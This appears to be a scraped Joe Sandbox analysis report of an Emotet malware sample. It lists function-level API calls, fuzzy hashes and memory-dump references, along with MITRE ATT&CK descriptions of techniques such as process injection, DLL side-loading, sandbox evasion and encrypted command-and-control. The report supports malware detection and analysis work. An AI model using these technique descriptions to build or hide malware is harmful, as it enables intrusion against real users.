Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 021F5531

Strings

P4#v, xrefs: 021F54F7, 021F5516

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: P4#v
API String ID: 2039140958-3471064730
Opcode ID: 2203e711a9237f014466ee8a29539de26a7dc0a411d9fb45e2dddc3b3f5e65f2
Instruction ID: 9fa8f3bd7f7788722e7d8611c4d81a0dc13356b0fcb73aa9b4d781b59fcd9501
Opcode Fuzzy Hash: 2203e711a9237f014466ee8a29539de26a7dc0a411d9fb45e2dddc3b3f5e65f2
Instruction Fuzzy Hash: DC113070A84300ABE794EB64D855B6676E2AB80704F94881CE7758B1D0FB74D945CB52

Function 021F42F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000480), ref: 021F4344

Strings

p^5w, xrefs: 021F431C, 021F433B

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: p^5w
API String ID: 1279760036-1074354707
Opcode ID: c88f70897a9388bc77e16b17d5723b0861244cb8dc6722596ee6057040e77e96
Instruction ID: b0908abe1a9c2d8a2416baebad0865fbe4d4a124f135d4ae311b14b4f63af7ec
Opcode Fuzzy Hash: c88f70897a9388bc77e16b17d5723b0861244cb8dc6722596ee6057040e77e96
Instruction Fuzzy Hash: 7EE03966B812116EDBD4A7B5B854A7F22EBABC06803158869F732CB344FF608C414BD1

Function 021B1D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c9098b3b1810c4423cb8c37353cda5e5a2631d078fdfc78f2f65b35950e462
Instruction ID: 52f98e4d7ff986962f88fae1e542cdfbc5c8abbadffb4e660ff7225fe0376974
Opcode Fuzzy Hash: 90c9098b3b1810c4423cb8c37353cda5e5a2631d078fdfc78f2f65b35950e462
Instruction Fuzzy Hash: 9E41A778A40109EFDB05CF54C4A4BEAB7B2FF88314F25C559E8199B355C775EA82CB80

Function 021F6FB0 Relevance: 1.6, APIs: 1, Instructions: 107libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,2564BE4F,021F68DC), ref: 021F70F2

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bff7881afb69966ba25f20670d9099a30b6d73bb63cc6d86949ab23f1b18302d
Instruction ID: d85e731e758b84ce13fc5c334d9120926fe23c955e1559c941d0ec5cab316855
Opcode Fuzzy Hash: bff7881afb69966ba25f20670d9099a30b6d73bb63cc6d86949ab23f1b18302d
Instruction Fuzzy Hash: D031B9107C41425BD6E86A6965A033B515B9B82344F2A086EF332CF7C5DF65CD429BD3

Function 021F6F10 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,2564BE4F,021F704F,021F68DC), ref: 021F6F40

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 293ba0d8bcd137fe2ddd6faad5df7dd894d6dc9fc8076330fbcb3b2243b4eac9
Instruction ID: 12543f956f49ba5df466434fd48d399b28cda5f2a75a3aaef9f0cfda7fbd2c59
Opcode Fuzzy Hash: 293ba0d8bcd137fe2ddd6faad5df7dd894d6dc9fc8076330fbcb3b2243b4eac9
Instruction Fuzzy Hash: 3C014F35B81241AFD7D4BBB5B86063B22E79BC06947150869F235CB384EB34DC514B91

Function 021B27B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 021B27D9

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 427982af8409aa733b288edc5ce16a333f90a22b14db1b118aa18f191a1dec00
Instruction ID: f5b17ef96989d7fe12a11dc186f0162cd2417707a9d812043245ecbaa595aacb
Opcode Fuzzy Hash: 427982af8409aa733b288edc5ce16a333f90a22b14db1b118aa18f191a1dec00
Instruction Fuzzy Hash: 14D09EB4D80208BFD741EFA4E95AB9DBBB4EF04702F108165E91567241E7705A148F52

Function 021B1820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 021B182F

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 779319e8929f5e48e26d5cec05c100b061a57d2ea217fbc5ed9228526683356c
Instruction ID: ef8dc75cb3707511fa77580ff18b72113f500bd412893dce756be5eb0b68292d
Opcode Fuzzy Hash: 779319e8929f5e48e26d5cec05c100b061a57d2ea217fbc5ed9228526683356c
Instruction Fuzzy Hash: 2EC04C7A55420CAB8B04DF98E894DAB77FDBB8C610B048548BA1D87200C630F9608BA4

Non-executed Functions

Function 021F9FA0 Relevance: 19.6, APIs: 3, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00100000,00000001,00000000), ref: 021FA0FB
GetCurrentProcess.KERNEL32(00000000), ref: 021FA0FE
GetCurrentProcess.KERNEL32(00000000), ref: 021FA101

Strings

79V#, xrefs: 021FA08D
>p, xrefs: 021FA352
.#v, xrefs: 021FA161
>p, xrefs: 021F9FF2
79V#, xrefs: 021FA0B1
Ei, xrefs: 021FA1A1
p^5w, xrefs: 021FA216, 021FA235
79V#, xrefs: 021FA069

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: 79V#$79V#$79V#$>p$>p$p^5w$.#v$Ei
API String ID: 2050909247-1755071274
Opcode ID: 0538f057617ba60ef834776071eb9ffe93e0c09953074584ad9f129310d59281
Instruction ID: 7d07641aecb5a47a26938dd42b4d794c50c82357f0f7aa53a5b441982ac92b98
Opcode Fuzzy Hash: 0538f057617ba60ef834776071eb9ffe93e0c09953074584ad9f129310d59281
Instruction Fuzzy Hash: D7A1EF71B842019FCB94EB68A49062F32E6AFC4644F65096DF779DB340EB38DC418BD2

Function 021F9FC8 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00100000,00000001,00000000), ref: 021FA0FB
GetCurrentProcess.KERNEL32(00000000), ref: 021FA0FE
GetCurrentProcess.KERNEL32(00000000), ref: 021FA101

Strings

79V#, xrefs: 021FA08D
>p, xrefs: 021F9FF2
79V#, xrefs: 021FA0B1
79V#, xrefs: 021FA069

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: 79V#$79V#$79V#$>p
API String ID: 2050909247-2830606539
Opcode ID: 4b044b2f073d3f47758a4dbc816e0e2806251e9532be6d1b6ba1011879c931c3
Instruction ID: 9474ca584f18cfeb4f8b9876a327a74e0e93161b7b80dc54d36626d59a6917c8
Opcode Fuzzy Hash: 4b044b2f073d3f47758a4dbc816e0e2806251e9532be6d1b6ba1011879c931c3
Instruction Fuzzy Hash: 5231C431F812509BCB90AAA8649472F36D7AFC4784F290959EBB9D7250EF38DC414BD1

Function 021B14A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 021B14DB
SetLastError.KERNEL32(0000007F), ref: 021B1507

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: dba912d3f4bb9cc6977b4580150c7e52e74ecb9038743cac4a034ba6f30d49a2
Instruction ID: 389f60e86b6d0469a472184474509ceef4dc307803a54fc7ce8e1ce91e87d4f3
Opcode Fuzzy Hash: dba912d3f4bb9cc6977b4580150c7e52e74ecb9038743cac4a034ba6f30d49a2
Instruction Fuzzy Hash: B8711974E40109EFDB09DF94C591BAEB7B2FF48304F258598E51AAB341D774AA81CF90

Function 021F12B0 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 396COMMON

Download Yara Rule

Strings

a7a&, xrefs: 021F1548
Ei, xrefs: 021F17D1
Ei, xrefs: 021F13C0
E?*, xrefs: 021F1601
a7a&, xrefs: 021F1612

Memory Dump Source

Source File: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: true

Associated: 00000003.00000002.3346814393.00000000021F0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346843200.00000000021FD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002200000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002205000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3346856091.0000000002212000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21f0000_mibincodec.jbxd

Yara matches

Similarity

API ID:
String ID: E?*$a7a&$a7a&$Ei$Ei
API String ID: 0-288907479
Opcode ID: c9bd78de32a3ecfbcbcd506ccc85d1ff1d921d12d32957eaa052150ebdddcd1b
Instruction ID: e88e066a070718a50e042272f930097804b0234d5039a056a5639cf8f047964f
Opcode Fuzzy Hash: c9bd78de32a3ecfbcbcd506ccc85d1ff1d921d12d32957eaa052150ebdddcd1b
Instruction Fuzzy Hash: C5E1AE71688241EFC798DF68D490A6FB3E6ABC4344F14491DEABAD7340DB34E905CB92

Function 021B21A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 021B21F9
SetLastError.KERNEL32(0000007E), ref: 021B223B

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: e8d434907652df0c0ec9d9797f59f0ba0157d082feeea6b84f55e5c896ee3053
Instruction ID: beca8318521c637b0d66a530cbaa565604e7c454a404e38b0e126f93f8851088
Opcode Fuzzy Hash: e8d434907652df0c0ec9d9797f59f0ba0157d082feeea6b84f55e5c896ee3053
Instruction Fuzzy Hash: 6381B974A40209EFDB09DF94C894BAEB7B1FF88314F148198E919AB351C734EA95CF91

Function 021B2430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 021B2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 021B24B2

Strings

@, xrefs: 021B2453

Memory Dump Source

Source File: 00000003.00000002.3346693570.00000000021B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21b1000_mibincodec.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 79f2469ea0889e90942112e25491720d637a84c84d50eca08ab80dc105bb249d
Instruction ID: 1d1c04aa63e66fcdcde06257e2d11f52d8491e0a8e86fc2926125fc2259944dc
Opcode Fuzzy Hash: 79f2469ea0889e90942112e25491720d637a84c84d50eca08ab80dc105bb249d
Instruction Fuzzy Hash: 132107B0E44208EFDF09CF98C980BEDBBB5BF44304F208589DD15AB640C774AA84DB51

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ExeFile (233).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
ExeFile (233).exe

Function 00402530 Relevance: 44.3, APIs: 9, Strings: 16, Instructions: 563
libraryloaderfileCOMMON

Function 021F1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Function 022638F0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 189
fileCOMMON

Function 02268240 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183
fileCOMMON

Function 004297AA Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Function 02267EC0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 227
fileCOMMON

Function 0042A134 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
stringCOMMON

Function 0042A282 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 38
libraryloaderCOMMON

Function 004254C2 Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Function 022630D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 150
memoryCOMMON

Function 02264BA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 87
processCOMMON

Function 004281D2 Relevance: 6.1, APIs: 4, Instructions: 71
registryCOMMON

Function 021C002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Function 022636B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

